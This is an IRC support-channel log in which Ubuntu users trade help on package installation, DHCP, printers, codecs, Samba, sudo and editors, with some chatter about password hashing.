[10:58] <thoreauputic> s/ uually/ usuallly
[10:58] <nicholaspaul> elvirolo - are you reg. on the forum?
[10:58] <vices> thoreauputic: thanks
[10:58] <lucaz> I'm looking for a comic book reader like cdisplay, do you know one?
[10:59] <thoreauputic> vices: a better way is to install "checkinstall" and use that insted of make install
[10:59] <nalioth_wrkn> WolfPac_Ite: yes it will be fine for dual boot
[10:59] <angelus__1969> wolf: it can be, just make sure your grub.conf points in the right direction
[10:59] <elvirolo> nicholaspaul: yes, and i have sent a post there, but i got no helpful answer
[10:59] <WolfPac_Ite> Thank you.
[10:59] <thoreauputic> vices: it makes a .deb for you and installs it
[10:59] <nalioth_wrkn> lucaz: "comix.sourceforge.net"
[10:59] <lucaz> on a deb pkg, cos I found a comical tarball...
[11:00] <vices> thoreauputic: what's the .deb file do?  and why is it better than make install?  Do you mean better as in more basic?
[11:00] <nalioth_wrkn> lucaz: if you search sourceforge for "comic book archive", you'll get a lot of choices
[11:00] <angelus__1969> anyone knowledge on dhcp in ubuntu??????
[11:00] <angelus__1969> it's getting on my nerves :)
[11:00] <nalioth_wrkn> lucaz: really? you found on in the repos?
[11:00] <lucaz> nalioth_wrkn, I'll take a look..
[11:00] <thoreauputic> vices: no better as in easier to manage for uninstalling etfc
[11:00] <thoreauputic> *etc
[11:00] <nicholaspaul> elvirolo. yea, i know how that feels. sorry, i'm not very technical with linux, i tend to search and hunt and give up for a while :S
[11:01] <topyli> elvirolo: sometimes there's no-one to answer, it's just the nature of irc
[11:01] <NoUse> angelus__1969 its better to state your problem
[11:01] <thoreauputic> vices: if you use checkinstall apt/synaptic will kow about the deb
[11:01] <angelus__1969> nouse: I did already :)
[11:01] <lucaz> nalioth_wrkn, I didnt ...
[11:01] <topyli> elvirolo: so, what sort of printer are you talking about
[11:01] <nalioth_wrkn> lucaz: me neither, but was hopin
[11:02] <nalioth_wrkn> lucaz: anyway, sourceforge has all kinds of cbr, cbz and cbt viewers
[11:02] <elvirolo> nicholaspaul: that's all right, thanks anyway :)
[11:02] <vices> thoreauputic: oh neat, so if I use make install it's up to me to remember that it's on my system?
[11:02] <angelus__1969> I finally got my ubuntu client to get the fixed addres and hostname from the dhcp server (thanks to the dhcpcd package :) )
[11:02] <angelus__1969> but now, when I logon to the gui, it start to moan that the hostname can't be verified against the dns
[11:02] <nicholaspaul> elvirolo: anytime. Good luck.
[11:02] <thoreauputic> vices: basically yes - and uninstalling might be more difficult
[11:02] <elvirolo> topyli: it's an epson stylus C20UX (should be detected fine according to linuxprinting.org)
[11:02] <angelus__1969> and that I should fill in the name in /etc/hosts
[11:02] <angelus__1969> and that defeats the point a little
[11:02] <lucaz> nalioth_wrkn,  yeah, but I didnt want to install by a tar ball...
[11:03] <thoreauputic> vices: checkinstall is a good habit - you can install it with synaptic
[11:03] <topyli> elvirolo: is it a good old parallel port printer or an usb one?
[11:03] <vices> thoreauputic: checkinstall didn't run
[11:03] <nalioth_wrkn> lucaz: installing from source is not that diffecult, and allows you (in some cases) to custom make your program
[11:03] <thoreauputic> !info checkinstall
[11:03] <ubotu> checkinstall: (installation tracker), section universe/admin, is optional. Version: 1.5.3-3 (hoary), Packaged size: 34 kB, Installed size: 132 kB
[11:03] <thoreauputic> vices: you have to install it :)
[11:03] <elvirolo> topyli: usb i'm afraid
[11:03] <nalioth_wrkn> lucaz: none of the comic viewers are hard to compile at all
[11:03] <vices> thoreauputic: oh haha
[11:04] <lucaz> nalioth_wrkn, I know, but what about the dependencies?
[11:04] <nalioth_wrkn> lucaz: use "checkinstall" instead of "make install" and you'll be doin yourself a favor
[11:04] <thoreauputic> vices: you need the universe repo for it as you see above
[11:04] <lucaz> nalioth_wrkn, ok..
[11:04] <nalioth_wrkn> lucaz: comix.sourceforge.net depends on gtk, pygtk and some other simple thing (that i think is already on your box)
[11:04] <NoUse> angelus__1969 unless you want to set up internal DNS then add your hostname to your hosts file
[11:05] <nalioth_wrkn> g2g
[11:05] <nalioth_wrkn> l3r
[11:05] <angelus__1969> nouse: yes, I know :)
[11:05] <angelus__1969> nouse: but that defeats the way I'm getting the hostname
[11:05] <angelus__1969> nouse: it's given by the dhcp server
[11:05] <lucaz> nalioth_wrkn, why I cant extract the rar comic file?
[11:05] <NoUse> angelus__1969 so set one on the machine itself
[11:06] <thoreauputic> vices: note that checkinstall and "make install" both need sudo
[11:06] <LasseL> lucaz, you need unrar ? (unrar-nonfree)
[11:06] <thoreauputic> vices: the other steps don't
[11:06] <angelus__1969> nouse: yes, that is also possible, but I want to have the config on every laptop who uses this card
[11:06] <topyli> elvirolo: yes, linuxprinting.org says it shoud work "perfectly". it might be a usb problem too. do you have other usb devices?
[11:06] <lucaz> LasseL, I got unrar.
[11:06] <vices> thoreauputic: is there a way to click on your name and have it pop up right away?  and how do i end the description input?
[11:06] <angelus__1969> nouse: that is why I chose this way, get the address and hostname from the dhcp connected with the mac address of this wifi card
[11:06] <thoreauputic> vices: I don't follow you
[11:07] <elvirolo> topyli: yes there's a scanner i think
[11:07] <topyli> works?
[11:07] <thoreauputic> vices: the checkinstall will just go to defaults if you hit enter a couple of times
[11:07] <vices> thoreauputic: i want to click on your name and have it appear in the text input bar
[11:07] <elvirolo> no, and lsusb doesn't output anything
[11:07] <angelus__1969> there has to be a way, or else there would be no reason to send a hostname with the dhcp offering
[11:07] <thoreauputic> vices: just do thor <hit tab>
[11:08] <elvirolo> vices: what if you do "th" and then hit TAB ?
[11:08] <NoUse> angelus__1969 set up internal DNS
[11:08] <mumbles> repetadley
[11:08] <topyli> elvirolo: then the problem is with hotplug or the usb subsystem, not the print system
[11:08] <lucaz> lucaz@XP1600:~/Desktop$ unrar batmanresc.cbr
[11:08] <lucaz> unrar 0.0.1           Copyright (c) 2004 Ben Asselstine
[11:08] <lucaz> Extracting from /home/lucaz/Desktop/batmanresc.cbr
[11:08] <lucaz> Extracting  011.jpg                                                   Failed
[11:08] <vices> thoreauputic,  thanks :)
[11:08] <topyli> elvirolo: i can't help much, sorry :(
[11:08] <angelus__1969> nouse: can I make this dns dynamic??
[11:08] <elvirolo> topyli: yes, it's what i thought
[11:08] <thoreauputic> vices: yw :)
[11:08] <vices> elvirolo, thank you too!
[11:08] <NoUse> angelus__1969 probably, google around
[11:08] <elvirolo> topyli: that's all right, thanks anyway :)
[11:08] <lucaz> a sample for the unrar output..
[11:08] <vices> thoreauputic,  can I change the script to have ':' instead of ',' ?
[11:09] <angelus__1969>  nouse: okay, will try, and I was sooooo happy when I finally got it working with dhcpcd...... ;)
[11:09] <thoreauputic> vices: in xchat?
[11:09] <vices> thoreauputic, yeah
[11:09] <topyli> elvirolo: happy hacking ;)
[11:09] <thoreauputic> sure - it's in the prefs somewher - settings
[11:10] <vices> thoreauputic:  thanks
[11:10] <elvirolo> topyli: lol thanks, i'll need it
[11:10] <topyli> heh
[11:10] <thoreauputic> vices: input box >> nick completion suffix
[11:10] <thoreauputic> vices: ah you found it :)
[11:11] <topyli> elvirolo: while you're at it, you might as well file a bug in bugzilla.ubuntu.com
[11:11] <vices> thoreauputic: :)
[11:11] <abarbaccia> im confused about rsync
[11:11] <lucaz> nalioth_wrkn, I installed comix, but can't make it work..
[11:11] <abarbaccia> why does it send so much info?  it said it sent 500+ MB to my mp3 player when i try to sync it to my music player
[11:11] <topyli> elvirolo: find out the exact hardware specs first
[11:11] <elvirolo> topyli: the prob is i need all the specs first
[11:11] <elvirolo> topyli: lol
[11:11] <lucaz> nalioth_wrkn, output 'unrar: invalid archive 'x': Bad address'
[11:11] <topyli> hehe
[11:12] <thoreauputic> abarbaccia: on the first run it transfers more than on subsequent runs
[11:12] <vices> does ubuntu store the passwords of accounts in an ecrypted file?
[11:12] <elvirolo> topyli: is there a program that would list that for me ? cause i have no idea at all ...
[11:12] <Oewyn> anyone experienced with getting xsupplicant to actually work? :-/
[11:12] <elvirolo> topyli: i only use this pc via vnc
[11:12] <topyli> there's this awesome script, hold on
[11:12] <Gnonthgol> vices: yes
[11:13] <abarbaccia> nevermind - alright - i hope you're right
[11:13] <abarbaccia> thanks thoreauputic
[11:13] <thoreauputic> abarbaccia: yw
[11:13] <vices> so.. if ubuntu is open source, doesn't that mean that the encryption algorithm is available to look at?
[11:13] <topyli> elvirolo: can you move the script on the machine and run it? ssh or something?
[11:13] <elvirolo> vices: yes
[11:13] <lucaz> LasseL, Which version is the non-free unrar?
[11:13] <elvirolo> topyli: yes, not prob
[11:13] <thoreauputic> abarbaccia: you need the right options of course
[11:14] <vices> where is the password file stored?
[11:14] <Oewyn> the whole point about encryption is that it's a safe algorithm, even though you know what it is, you cannot reverse the encryption, the time complexity is intangible
[11:14] <Seveas> vices, passwords are not stored encrypted
[11:14] <Seveas> they are hashed
[11:14] <thoreauputic> vices: /etc/shadow I guess
[11:14] <Seveas> which is a one-way operation
[11:15] <topyli> elvirolo: check this out: http://siltala.net/comp/system-info-sh -- it's not mine, i found it on the web. it gives more info than anything :)
[11:15] <Gnonthgol> vices: Linux is made by people hwo know how easy it is to find the password soe they have made Linux passwords secure, dont worry about that
[11:15] <vices> (also, is it common for compiling to take 20 minutes?)
[11:15] <topyli> elvirolo: i think i've changed it to use the username "juha" but that shouldn't matter
[11:15] <elvirolo> Seveas: in that case, but md5 hashes which don't use a salt can be reverseed, can't they ?
[11:15] <ivoks> vices: compiling of what?
[11:16] <vices> ivoks: mono
[11:16] <elvirolo> topyli: thanks a LOT :)
[11:16] <ivoks> vices: whole mono?!
[11:16] <elvirolo> vices: yes! lol
[11:16] <topyli> elvirolo: it's a cool script all right
[11:16] <Seveas> elvirolo, no, but not using a salt makes it a tiny little bit easier to do a dictionary attack by pre-calculating your dictionary
[11:16] <vices> should I not be installing the.. 'whole' mono?
[11:16] <elvirolo> topyli: i'll look a it right now thks :)
[11:17] <elvirolo> Seveas: ah, isee
[11:17] <ivoks> vices: if you have time... :)
[11:17] <topyli> elvirolo: look first, run after that. basic rule with any script someone gives you :)
[11:17] <ivoks> ok, who is torching paris?! :)
[11:17] <Seveas> ivoks, ?
[11:17] <ivoks> another fire in paris
[11:17] <Seveas> ah
[11:17] <vices> ivoks: how do you typically compile programs?  or Mono specifically?
[11:17] <ivoks> that's 3 in one week
[11:17] <elvirolo> topyli: indeed :) although my bash skills are quite minimal :)
[11:17] <thoreauputic> vices: compiling time depends on the size and complexity of what you compile
[11:18] <Seveas> ivoks, ETOPIC :)
[11:18] <perseo_pi> Does anybody know hal.dll?
[11:18] <ivoks> Seveas: could you explain that word to me? :)
[11:18] <topyli> elvirolo: anyway, it's harmless except you have to pipe the output into a file, because it's going to be BIG :)
[11:18] <elvirolo> ivoks: another fire in paris ?
[11:19] <ivoks> elvirolo: yes
[11:19] <Seveas> ivoks, I meant that discussing that would be off-topic in here :)
[11:19] <elvirolo> topyli: i guess so :)
[11:19] <ivoks> Seveas: ah, ok
[11:19] <elvirolo> ivoks: yes :-D but still i have to look it up
[11:19] <Skaja> how do i log in using root
[11:19] <Seveas> not
[11:19] <Seveas> you should not do that
[11:19] <topyli> Skaja: you don't
[11:19] <[DF2] > can anyone help me setting up adsl?
[11:19] <angelus__1969> seveas: why not?
[11:19] <thoreauputic> !tell Skaja about root
[11:20] <[DF2] > my modem isn't syncing
[11:20] <topyli> !root
[11:20] <ubotu> somebody said root was disabled in Ubuntu, you can read all about it on http://wiki.ubuntu.com/RootSudo
[11:20] <ivoks> elvirolo: ? whatever :)
[11:20] <Seveas> because it's a security risk Angel-SL
[11:20] <vices> thoreauputic: do I always need to compile before installing?
[11:20] <Seveas> angelus__1969*
[11:20] <angelus__1969> seveas: not really
[11:20] <angelus__1969> seveas: since a user normally is the one who choses the easy pwds
[11:20] <thoreauputic> vices: you shouldn't really compile unless what you need is not in the repositories
[11:20] <[t0rc] > who compiles the packages for ubuntu that are in the ubuntu repository?
[11:21] <ivoks> angelus__1969: not all users have right to sudo
[11:21] <angelus__1969> seveas: sudo is silly in the way that it doesn't ask the root pwd but the users
[11:21] <vices> thoreauputic: any danger in canceling a compile?
[11:21] <Seveas> angelus__1969, read that page for a discussion about it
[11:21] <elvirolo> vices: no
[11:21] <v1ru5> I did whatever https://wiki.ubuntu.com/RestrictedFormats told me to do. I CANNOT SEE gstreamer-mad on the Synaptic PM list?!? I want to enable mp3 support, how to do that???
[11:21] <angelus__1969> seveas: yes, I have read them, and I know not all users can do it
[11:21] <Seveas> and sudo is not silly, not having a root password is a Good Thing
[11:21] <thoreauputic> vices: not really - it hasn't been installed yet
[11:21] <NoUse> !tell v1ru5 about repos
[11:21] <angelus__1969> seveas: I mean that sudo shouldn't ask the user pwd
[11:21] <[t0rc] > !repos
[11:21] <ubotu> [repos]  at http://www.ubuntulinux.org/wiki/AddingRepositoriesHowto A list of official repositories can be found at http://paste.ubuntulinux.nl/969
[11:21] <Seveas> yes it should
[11:22] <Seveas> since there is no root password
[11:22] <topyli> angelus__1969: you are wrong in that. there are problems with both sudo and su, but you are not presenting either of them
[11:22] <thoreauputic> v1ru5: install gstreamer0.8-mad
[11:22] <Seveas> (btw: it can be told to ask for a root password)
[11:22] <angelus__1969> seveas: what is the point of asking a user it's own pwd?
[11:22] <NoUse> angelus__1969 what if you leave your workstation?
[11:22] <angelus__1969> topyli: I agree there are problems with both
[11:22] <Seveas> simple, notifying that he goes into 'administrator mode'
[11:22] <v1ru5> thoreauputic: IT IS NOT LISTED! :S
[11:22] <topyli> angelus__1969: if i tried to crack your box, i would know one thing: there is a root user. i would not know any other user's username
[11:22] <Skaja> there is a file i need to change so i can get dial up to work
[11:22] <v1ru5> thoreauputic: and that's why i am panicking
[11:23] <thoreauputic> angelus__1969: please, this topic has been flogged to death
[11:23] <angelus__1969> topyli: I know this has been discussed many times :)
[11:23] <topyli> heh
[11:23] <Seveas> v1ru5, paste your current sources.list on the pastebin
[11:23] <thoreauputic> v1ru5: shouting won't help
[11:23] <v1ru5> thoreauputic: sorry
[11:23] <v1ru5> Seveas: where is it located?
[11:23] <Seveas> !pastebin
[11:23] <ubotu> extra, extra, read all about it, pastebin is a site where you can post large texts and screenshots so you don't flood the channel. You can find it at http://paste.ubuntulinux.nl
[11:24] <v1ru5> Seveas: i mean the sources.list
[11:24] <topyli> hah
[11:24] <Seveas> /etc/apt/sources.list
[11:24] <ivoks> angelus__1969: and what pass should sudo ask? :)
[11:25] <angelus__1969> ivoks: a 'special' one, but not the users, that makes little sense
[11:25] <vices> how do I know which text editors are installed?
[11:25] <angelus__1969> ivoks: but I don't want to start it again :)
[11:25] <ivoks> angelus__1969: i guess you didn't do studys about human nature
[11:25] <Skaja> how come root cant log in
[11:25] <Xanthus7> is there any place I can get a text version of all the commands
[11:25] <angelus__1969> ivoks, how do you mean?
[11:25] <NoUse> !root
[11:25] <ubotu> root is, like, totally, disabled in Ubuntu, you can read all about it on http://wiki.ubuntu.com/RootSudo
[11:25] <Seveas> Skaja, because it's disabled
[11:25] <ivoks> angelus__1969: users don't want to learn two, three, passwords
[11:25] <ivoks> angelus__1969: they want one
[11:25] <Seveas> Skaja, in Ubuntu you use sudo
[11:26] <ivoks> angelus__1969: hell, they would love to work as root
[11:26] <angelus__1969> ivoks, a user who wants to do root things should learn more :)
[11:26] <ivoks> angelus__1969: sudo makes that possible, but still keeps secure enviorment
[11:26] <v1ru5> Seveas: http://paste.ubuntulinux.nl/1778
[11:26] <ivoks> angelus__1969: does window user wants to know more?
[11:26] <Seveas> v1ru5, you enabled neither universe nor multiverse
[11:26] <Seveas> read through the page again
[11:26] <angelus__1969> ivoks: there is where I disagree, because it asks the user pwd, it is a big security leak in fact
[11:27] <ivoks> angelus__1969: linux isn't system for geeks only anymore
[11:27] <Seveas> v1ru5, or look at paste.ubuntulinux.nl/969 for an example
[11:27] <ivoks> angelus__1969: it isn't
[11:27] <angelus__1969> ivoks: a windows users should never be allowed to do root things ;)
[11:27] <Xanthus7> LOL
[11:27] <Seveas> angelus__1969, stop trolling ...
[11:27] <ivoks> angelus__1969: that user is only one allowed to sudo
[11:27] <angelus__1969> seveas: trolling????
[11:27] <ivoks> angelus__1969: that's admin user
[11:27] <thoreauputic> can we please stop debating sudo? I'm so sick of hearing the same arguments over and over...
[11:27] <ivoks> angelus__1969: other users can't sudo to root
[11:27] <vices> so yes, back to the all important question of which text editors are currently installed on my system
[11:28] <Xanthus7> I would like to find a web page that give all the user commands like delete etc and the switch to use
[11:28] <Seveas> vices, update-alternatives --list editor
[11:28] <Seveas> :)
[11:28] <Seveas> Xanthus7, linuxcommand.org
[11:28] <thoreauputic> vices: by default, vim, nano, and gedit I guess
[11:28] <vices> Seveas: thanks
[11:28] <vices> thoreauputic: is ed gedit?
[11:28] <Seveas> thoreauputic, and OO.o
[11:28] <Seveas> vices, no
[11:29] <thoreauputic> oh and ed of course!!
[11:29] <thoreauputic> !ed
[11:29] <ubotu> ed is the standard editor! ed, man! man ed!
[11:29] <thoreauputic> ;)
[11:29] <vices> !nano
[11:29] <angelus__1969> ivoks: users who are in the sudoers can sudo, so it's not confined to one, but I don't want to start this discussion and upset some members of this list
[11:29] <ubotu> vices: I don't know
[11:29] <cevizoglu> does anyone know a 802.11G card which works with ubuntu 5 on a powerbook?
[11:29] <angelus__1969> ivoks: it's just that I have a different opinion
[11:29] <vices> -.-
[11:29] <vices> !vim
[11:29] <ubotu> Bugger all, i dunno, vices
[11:29] <Seveas> to get graohical editors: update-alternatives --list gnome-text-editor
[11:29] <angelus__1969> ivoks: which is the nice thing about linux, I can have that :)
[11:29] <vices> ahh
[11:29] <Seveas> !start an editor war
[11:29] <ubotu> nano is better than emacs
[11:30] <ivoks> it is :)
[11:30] <vices> !nano
[11:30] <ubotu> Wish i knew, vices
[11:30] <Seveas> vices, don't play with the bot
[11:30] <vices> :P
[11:30] <v1ru5> Seveas: i cannot edit the file and su from console gives me "wrong password" although i am sure the pass is ok
[11:30] <Seveas> v1ru5, READ
[11:30] <Seveas> sudo
[11:30] <Seveas> not su
[11:30] <angelus__1969> cevizoglu: which powerbook?
[11:31] <cevizoglu> angelus: 1.5ghz
[11:31] <robotgeek> cevizoglu: ralink,netgear etc
[11:31] <vices> if i wanted a .. "pretty" and colorful program editor, where should I go?
[11:32] <tristanmike> windows
[11:32] <redguy> vices: gedit ?
[11:32] <tristanmike> just kidding
[11:32] <cevizoglu> robotgeek: any specific one?
[11:32] <IcemanV9> vices: ms word?
[11:32] <eruin> vices, eclipse
[11:32] <robotgeek> cevizoglu: i use a Belkin card, make sure it as a Ralink chipset. got it for 10 bucks :)
[11:32] <lucaz> vices, bluefish :)
[11:32] <vices> oh apparently i wanted an integrated development interface, which monodevelop has
[11:33] <Seveas> vices, vim
[11:33] <LasseL> vices, which language?
[11:33] <nicholaspaul> ms word... hahahahahahahaha a:|
[11:33] <nicholaspaul> vices: you mean, text editor for stuff like html etc?
[11:33] <robotgeek> vices: or gvim :)
[11:33] <vices> c#
[11:33] <LasseL> VS.NET
[11:33] <Seveas> monodevelop
[11:33] <nicholaspaul> vices: i use JEdit for html/php/css/javascript
[11:33] <ompaul> I heard someone wanted to debate sudo - well I have news you lost - this the the way forward
[11:34] <lucaz> where can I find others repositories?
[11:34] <angelus__1969> icemanv9: I got my address and hostname problem fixed, seems like dhclient on ubuntu doesn't like it when hostname is send with the dhcp offer
[11:34] <v1ru5> Seveas: works now, thanks :)
[11:34] <[t0rc] > anyone in here use blender?
[11:35] <IcemanV9> angelus__1969: that is great. :) better take a note on it for next time! or share it with other at forums
[11:35] <[DF2] > could anyone help me to configure  rp-ppoe
[11:35] <vices> i like it when programs crash on startup, makes me feel like i'm back in windows
[11:35] <[DF2] > or whatever it is under ubuntu
[11:35] <IcemanV9> */or/and
[11:36] <angelus__1969> icemanv9: there was one entry on it I found with google, exchange dhclient with dhcpcd
[11:36] <cevizoglu> robotgeek: thx  :)
[11:36] <vices> how do I see which processes/programs are running?
[11:36] <nicholaspaul> vices: i had that prob on OSX when i hadnt upgraded java.
[11:36] <nicholaspaul> vices: i was using alot of shareware that depended on the newer version. Bloody annoying !
[11:36] <tristanmike> vices: Applications->System Tools->System Monitor
[11:37] <vices> tristanmike: CLI?
[11:37] <vices> nicholaspaul: yeah, i ran the upgrade so I thought everything was recent
[11:37] <tristanmike> vice: oh, don't know, sorry
[11:37] <NoUse> vices top
[11:37] <NoUse> vices or ps
[11:37] <[DF2] > anyone?
[11:37] <NoUse> !dialup
[11:37] <ubotu> somebody said dialup was https://wiki.ubuntu.com//DialupModemHowto
[11:38] <vices> NoUse: thanks
[11:38] <ttyS0> is there any console player like playsound (except mp3blaster etc.) which can be executed liek "someplayer /some/path/tofile.wav"?
[11:38] <[t0rc] > anyone know where I can find a 2.37 compile of blender for ubuntu?
[11:38] <vices> oh haha, mono didn't crash afterall, it just hid the error box behind a new window
[11:38] <Natx> hi all
[11:38] <NoUse> !blender
[11:38] <ubotu> blender is probably a free 3d program that can be found at http://www.blender3d.org, and tutorials at http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro
[11:39] <Natx> i'm having troubles configuring ipw2200 wifi
[11:39] <angelus__1969> ttys0: can't mplayer do what you want?
[11:39] <BSG75> hola, anyone know of any issues with Azureus and Ubuntu?  my net goes to a crawl when it is running.
[11:39] <[t0rc] > wow. that doesn't help at all.
[11:40] <ttyS0> angelus__1969, can't see that in repos
[11:40] <Natx> my laptop is an Acer TM 4101 and I think the IP2200 is working fine, but iwlist cannot scan nets, is this typical?
[11:40] <[t0rc] > i've been using blender for a while, i've checked the repos for 2.37 compile, and they're not up to date. there's only up to 2.36.
[11:40] <LasseL> BSG75, azureus does that in windows too, try to fiddle with the number of connections settings and set limits on up/download
[11:40] <NoUse> [t0rc]  whats wrong with bender's download page?
[11:40] <angelus__1969> ttys0: it is in my list
[11:41] <tristanmike> BSG75, Azureus is a system hog for sure
[11:41] <LasseL> BSG75, for me it turned out that my cheap 3com router is the bottleneck .. only handles 250 connections
[11:41] <[t0rc] > NoUse: i want a 64 bit version.
[11:41] <BSG75> LasseL: thanks that's what I am trying to do.  oh I have a Dlink 624 may be that's it
[11:42] <angelus__1969> ttys0: probably you have to include the multiverse
[11:42] <NoUse> [t0rc]  and 2.36 isn't good enough?
[11:42] <IcemanV9> ttyS0: depends on your box :) .. apt-cache search mplayer .. you should have short list of it
[11:43] <Jhair> cheap 3Com router?
[11:43] <[t0rc] > NoUse: no. i've been using 37 on windows, and many things will be lost if I try to use the file in 2.36.
[11:44] <NoUse> [t0rc]  don't know what to tell you, I guess if you feel brave you can grab the source and build a 64bit version
[11:44] <angelus__1969> well, I'm off, good night to everyone
[11:44] <NoUse> [t0rc]  or wait for breezy
[11:44] <[t0rc] > NoUse: well i've got the source, and it's having some issues compiling. says it can't find sysconfig.
[11:45] <Oewyn> anyone knowledgable about xsupplicant?
[11:45] <Xanthus7> I need major help I did a big NO NO I accidently deleted my boot folder any way to restore it
[11:45] <Natx> has anyone some info relative to ubuntu on acer tm4101?
[11:45] <v1ru5> i installed gstreamer-mad
[11:45] <v1ru5> but i can't play mp3
[11:46] <v1ru5> whyyyyyyyyyyyyy
[11:46] <v1ru5> :(
[11:46] <NoUse> [t0rc]  install build-essential
[11:46] <NoUse> v1ru5 was 4 lines really necessary to ask one question?
[11:46] <v1ru5> NoUse: sorry
[11:46] <belal122> hi
[11:46] <v1ru5> but this system is being a bitch
[11:46] <Xanthus7> I need major help I did a big NO NO I accidently deleted my boot folder any way to restore it
[11:47] <BSG75> v1ru5: google ubuntu unofficial
[11:47] <[t0rc] >  i'll probably just go back to fedora 64bit. it has more packages available and are usually pretty up to date.
[11:47] <Milk_> good afternoon!
[11:47] <BSG75> I use the xine plugins for all my audio/video .. you can use gstreamer
[11:47] <[t0rc] > NoUse: what'll build essential do and i can get it from repos right?
[11:47] <ompaul> thoreauputic, w32codecs is missing :(
[11:47] <Milk_> I need someone who can help me troubleshoot networking between XP and this ubuntu box
[11:47] <nevinm> Xanthus7: you could try pulling it from the live cd... which kernel were you using
[11:47] <Zugot> [t0rc] , what type of 64bit computer do you have?
[11:47] <NoUse> [t0rc]  it installs things that are essential to building software
[11:47] <BSG75> Milk_ : what error you get?
[11:48] <[t0rc] > AMD
[11:48] <Xanthus7> newest one
[11:48] <Zugot> [t0rc] , is it adesktop or a laptop?
[11:48] <[t0rc] > Zugot: amd
[11:48] <[t0rc] > Zugot: desktop
[11:48] <Zugot> oh
[11:48] <v1ru5> BSG75: well i have installed the codecs, and gstreamer still doesn't play mp3
[11:48] <v1ru5> BSG75: do i need to boot or something
[11:48] <Zugot> i've had fairly good luck with 64 bit linux
[11:48] <Zugot> does everything i need it to
[11:48] <nevinm> 2.6.11?
[11:48] <Milk_> BSG75, a couple... one is a printing issue, one is a sharing issue... the sharing issue gives me "\\NAME not accesable, you may not have permission" in XP
[11:49] <DewLinux> well, this is working nicely
[11:49] <_lui_> hello everyone
[11:49] <tristanmike> hi
[11:49] <Milk_> the odd part is that it worked once
[11:49] <BSG75> v1ru5: u don't need to reboot... pls check if you missed anything
[11:49] <Natx> Milk_: the sharing issue is from XP to ubuntu or from ubuntu to XP?
[11:50] <[t0rc] > Well i've had goodluck with 64bit linux as well, just seems that ubuntu isn't as hyped up as people say it to be so far
[11:50] <Milk_> Natx, I'm trying to access a share on the ubuntu box FROM the XP box
[11:50] <BSG75> Milk_: did you create a smb user?
[11:50] <omp342> i don't like ubuntu either :/
[11:50] <Milk_> BSG75, I'm pretty sure I did.. but let me double check that
[11:50] <omp342> i just like the community :)
[11:50] <DewLinux> so...allow me to possibly answer my own question. I just installed kubuntu this morning and it's not using hardware rendering on my video card..so..do i go into the x-config and tell it which driver module to use?
[11:50] <NoUse> [t0rc]  I was running FC4 but ubuntu was simply a smoother running system for me
[11:51] <_lui_> anyone here knows how can I boot a win XP  that was installed on a different chipset?
[11:51] <Zugot> [t0rc] , i had fedora core 4 x86_64 on my laptop... i guess i just prefer ubuntu.
[11:51] <DewLinux> different chipset?
[11:51] <Concord_Dawn> hai all
[11:51] <Concord_Dawn> I'm plugging my iPod into Ubuntu
[11:51] <v1ru5> BSG75: well totem plays mp3 all right.. BUT! how i can make gstreamer play em too
[11:51] <DewLinux> you mean mean different motherboard?
[11:51] <BSG75> Milk_: I sometimes forget to do that:) .. smbpasswd
[11:51] <belal122> i love ubuntu...
[11:51] <Concord_Dawn> and it only mounts read-only
[11:51] <[t0rc] > well ubuntu is faster, but fedora has more apps and im in need of
[11:51] <omp342> totem is horrible :
[11:51] <Milk_> BSG75, webmin says I did create a user
[11:51] <omp342> :)*
[11:52] <belal122> v1ru5: install the gstreamer-mad plugin
[11:52] <Concord_Dawn> ubotu: tell v1ru5 about mp3
[11:52] <belal122> and also the gstreamer-ffmpeg
[11:52] <budluva> can someone suggest the best way to go about running windows apps on my ubuntu machine? i want to run a program called avi2dvd
[11:52] <belal122> both are in universe..
[11:52] <Natx> Milk_: once you check the user is created, check you have encrypt oasswords = true in your smb.conf
[11:52] <Concord_Dawn> v1ru5, follow the instructions on the page that ubotu just PMed you
[11:52] <DewLinux> bud: try WINE
[11:52] <v1ru5> belal122: I have installed it
[11:52] <budluva> is wine still the best choice for running windows apps?
[11:52] <Concord_Dawn> budluva, best free choice.
[11:52] <_lui_> DewLinux, yep, the other MB was a VIA KT600 and I want to boot it from my NForce K7N2 Delta 2 Platinum
[11:52] <v1ru5> Concord_Dawn: i have followed the instructions!!
[11:52] <budluva> DewLinux ahh thats what i thought, thanks
[11:52] <v1ru5> X-/
[11:52] <LasseL> any ideas on how I can debug why mozilla-firefox takes several minutes to launch suddenly?
[11:52] <Concord_Dawn> v1ru5, then it would work.
[11:52] <v1ru5> and this ubuntu system is being a bitch
[11:52] <DewLinux> lui: you might be able to do it by swapping just the HD
[11:53] <v1ru5> Concord_Dawn: well it says that i have installed it
[11:53] <DewLinux> if it's XP home, it's not gonna like you
[11:53] <Milk_> encrypt = true is etup Natx
[11:53] <v1ru5> Concord_Dawn: but it's not working for sure
[11:53] <Concord_Dawn> well
[11:53] <topyli> hehe. the "distro chooser" gave me ubuntu as my top selection. so my own mind doesn't lie to me ;-) http://eedok.voidofmind.com/linux/chooser.html
[11:53] <Concord_Dawn> mine works.
[11:53] <belal122> v1ru5,  what application are you trying to play it with?
[11:53] <BSG75> Milk_: just checking here: you have restarted /etc/init.d/smb.. after editn smb.conf .. and you are typing in the same username and passwd as you created
[11:53] <MrGardenHoseMan> what's the command to manualy mount a usb drive?
[11:53] <Natx> Milk_: and check you have a "users = username" in your share definition
[11:53] <DewLinux> it'll probably ask to reactivate...if it's a VLK version...then it'll yell about missing hardware...but it will boot
[11:53] <v1ru5> belal122: well totem plays mp3 but gstreamer doesn't
[11:53] <v1ru5> wait!
[11:54] <v1ru5> WOW
[11:54] <Concord_Dawn> v1ru5, it should. I followed those instructions, and now rythymbox plays them
[11:54] <v1ru5> IT WORKS
[11:54] <v1ru5> O_O
[11:54] <Concord_Dawn> told you.
[11:54] <belal122> gstreamer is just the framework... if it plays in totem, it should play in all other gstreamer applications because totem depends on gstreamer
[11:54] <v1ru5> wtf was it on just a sec ago
[11:54] <_lui_> DewLinux, it's XP Pro, but it doesn't boot because the chipset is different, I'm wondering if there's a way to do it
[11:54] <v1ru5> ubuntu on drugs! WOW
[11:54] <DF2> can anyone help me configure pppoeconf........ only eth0 is showing..
[11:54] <Concord_Dawn> ok
[11:54] <v1ru5> :D
[11:54] <DewDude> umm
[11:54] <DewDude> that shouldn't matter
[11:54] <BSG75> v1ru5: LOL what belal122 said :)
[11:54] <DF2> says the access concentrator did not repsond
[11:54] <CookedGryphon> cool, has the spambot attack stopped?
[11:54] <DewDude> it should still try to boot
[11:54] <Milk_> Natx, I didn't, but I just added it.. let me restart samba and try
